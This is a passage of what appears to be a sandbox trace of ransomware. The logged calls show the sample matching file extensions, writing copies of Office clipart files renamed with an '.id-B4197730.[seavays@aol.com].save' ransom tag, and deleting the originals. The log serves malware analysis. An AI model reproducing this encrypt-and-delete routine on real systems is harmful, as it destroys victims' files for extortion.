Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.975] lstrlenW (lpString=".1cd") returned 4 [0208.975] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.975] lstrlenW (lpString=".jpg") returned 4 [0208.975] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.976] lstrlenW (lpString=".doc") returned 4 [0208.976] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.976] lstrlenW (lpString=".docx") returned 5 [0208.976] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0208.976] lstrlenW (lpString=".pdf") returned 4 [0208.976] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.976] lstrlenW (lpString=".xls") returned 4 [0208.976] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.976] lstrlenW (lpString=".xlsx") returned 5 [0208.976] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0208.976] lstrlenW (lpString=".ppt") returned 4 [0208.976] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.976] lstrlenW (lpString=".zip") returned 4 [0208.976] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.976] lstrlenW (lpString=".rar") returned 4 [0208.976] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.976] lstrlenW (lpString=".bz2") returned 4 [0208.976] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.976] lstrlenW (lpString=".7z") returned 3 [0208.976] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.976] lstrlenW (lpString=".dbf") returned 4 [0208.976] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.976] lstrlenW (lpString=".1cd") returned 4 [0208.976] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.977] lstrlenW (lpString=".jpg") returned 4 [0208.977] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.977] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0208.977] lstrlenW (lpString="J0101862.BMP") returned 12 [0208.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.977] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=32184) returned 1 [0208.977] CloseHandle (hObject=0x374) returned 1 [0208.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0208.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.978] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.978] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.979] GetLastError () returned 0x0 [0208.979] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0208.981] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0208.983] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.983] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.983] SetEndOfFile (hFile=0x378) returned 1 [0208.983] CloseHandle (hObject=0x378) returned 1 [0208.983] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.984] SetEndOfFile (hFile=0x374) returned 1 [0208.985] CloseHandle (hObject=0x374) returned 1 [0208.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0208.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.986] lstrlenW (lpString=".doc") returned 4 [0208.986] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.986] lstrlenW (lpString=".docx") returned 5 [0208.986] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0208.986] lstrlenW (lpString=".pdf") returned 4 [0208.986] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.986] lstrlenW (lpString=".xls") returned 4 [0208.986] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.986] lstrlenW (lpString=".xlsx") returned 5 [0208.986] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0208.986] lstrlenW (lpString=".ppt") returned 4 [0208.986] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.987] lstrlenW (lpString=".zip") returned 4 [0208.987] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.987] lstrlenW (lpString=".rar") returned 4 [0208.987] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.987] lstrlenW (lpString=".bz2") returned 4 [0208.987] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.987] lstrlenW (lpString=".7z") returned 3 [0208.987] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.987] lstrlenW (lpString=".dbf") returned 4 [0208.987] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.987] lstrlenW (lpString=".1cd") returned 4 [0208.987] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.987] lstrlenW (lpString=".jpg") returned 4 [0208.987] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.987] lstrlenW (lpString=".doc") returned 4 [0208.987] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.987] lstrlenW (lpString=".docx") returned 5 [0208.987] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0208.987] lstrlenW (lpString=".pdf") returned 4 [0208.987] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.988] lstrlenW (lpString=".xls") returned 4 [0208.988] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.988] lstrlenW (lpString=".xlsx") returned 5 [0208.988] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0208.988] lstrlenW (lpString=".ppt") returned 4 [0208.988] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.988] lstrlenW (lpString=".zip") returned 4 [0208.988] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.989] lstrlenW (lpString=".rar") returned 4 [0208.989] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.989] lstrlenW (lpString=".bz2") returned 4 [0208.989] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.989] lstrlenW (lpString=".7z") returned 3 [0208.989] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.989] lstrlenW (lpString=".dbf") returned 4 [0208.989] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.989] lstrlenW (lpString=".1cd") returned 4 [0208.989] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0208.989] lstrlenW (lpString=".jpg") returned 4 [0208.989] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.990] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0208.990] lstrlenW (lpString="J0101863.BMP") returned 12 [0208.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.990] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=32184) returned 1 [0208.990] CloseHandle (hObject=0x374) returned 1 [0208.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0208.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.991] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.991] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.992] GetLastError () returned 0x0 [0208.992] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0208.994] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0208.996] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.996] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.996] SetEndOfFile (hFile=0x378) returned 1 [0208.996] CloseHandle (hObject=0x378) returned 1 [0208.996] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.997] SetEndOfFile (hFile=0x374) returned 1 [0208.998] CloseHandle (hObject=0x374) returned 1 [0208.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0208.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0208.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0208.999] lstrlenW (lpString=".doc") returned 4 [0208.999] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.999] lstrlenW (lpString=".docx") returned 5 [0208.999] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0208.999] lstrlenW (lpString=".pdf") returned 4 [0208.999] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.999] lstrlenW (lpString=".xls") returned 4 [0208.999] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.999] lstrlenW (lpString=".xlsx") returned 5 [0208.999] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0208.999] lstrlenW (lpString=".ppt") returned 4 [0208.999] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0208.999] lstrlenW (lpString=".zip") returned 4 [0209.000] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.000] lstrlenW (lpString=".rar") returned 4 [0209.000] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.000] lstrlenW (lpString=".bz2") returned 4 [0209.000] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.000] lstrlenW (lpString=".7z") returned 3 [0209.000] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.000] lstrlenW (lpString=".dbf") returned 4 [0209.000] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.000] lstrlenW (lpString=".1cd") returned 4 [0209.000] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.000] lstrlenW (lpString=".jpg") returned 4 [0209.000] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.000] lstrlenW (lpString=".doc") returned 4 [0209.000] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.000] lstrlenW (lpString=".docx") returned 5 [0209.000] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0209.000] lstrlenW (lpString=".pdf") returned 4 [0209.000] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.000] lstrlenW (lpString=".xls") returned 4 [0209.000] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.000] lstrlenW (lpString=".xlsx") returned 5 [0209.000] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0209.001] lstrlenW (lpString=".ppt") returned 4 [0209.001] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.001] lstrlenW (lpString=".zip") returned 4 [0209.001] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.001] lstrlenW (lpString=".rar") returned 4 [0209.001] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.001] lstrlenW (lpString=".bz2") returned 4 [0209.001] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.001] lstrlenW (lpString=".7z") returned 3 [0209.001] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.001] lstrlenW (lpString=".dbf") returned 4 [0209.001] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.001] lstrlenW (lpString=".1cd") returned 4 [0209.001] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0209.001] lstrlenW (lpString=".jpg") returned 4 [0209.001] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.001] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0209.001] lstrlenW (lpString="J0101864.BMP") returned 12 [0209.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.002] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=31968) returned 1 [0209.002] CloseHandle (hObject=0x374) returned 1 [0209.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0209.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.003] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.003] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0209.004] GetLastError () returned 0x0 [0209.004] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0209.428] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0209.430] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.434] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.434] SetEndOfFile (hFile=0x378) returned 1 [0209.434] CloseHandle (hObject=0x378) returned 1 [0209.434] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.435] SetEndOfFile (hFile=0x374) returned 1 [0209.436] CloseHandle (hObject=0x374) returned 1 [0209.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0209.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.437] lstrlenW (lpString=".doc") returned 4 [0209.437] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.437] lstrlenW (lpString=".docx") returned 5 [0209.437] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0209.437] lstrlenW (lpString=".pdf") returned 4 [0209.437] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.437] lstrlenW (lpString=".xls") returned 4 [0209.438] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.438] lstrlenW (lpString=".xlsx") returned 5 [0209.438] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0209.438] lstrlenW (lpString=".ppt") returned 4 [0209.438] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.438] lstrlenW (lpString=".zip") returned 4 [0209.438] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.438] lstrlenW (lpString=".rar") returned 4 [0209.438] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.438] lstrlenW (lpString=".bz2") returned 4 [0209.438] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.438] lstrlenW (lpString=".7z") returned 3 [0209.438] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.438] lstrlenW (lpString=".dbf") returned 4 [0209.438] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.438] lstrlenW (lpString=".1cd") returned 4 [0209.438] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.438] lstrlenW (lpString=".jpg") returned 4 [0209.438] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.439] lstrlenW (lpString=".doc") returned 4 [0209.439] lstrcmpiW (lpString1=".doc", 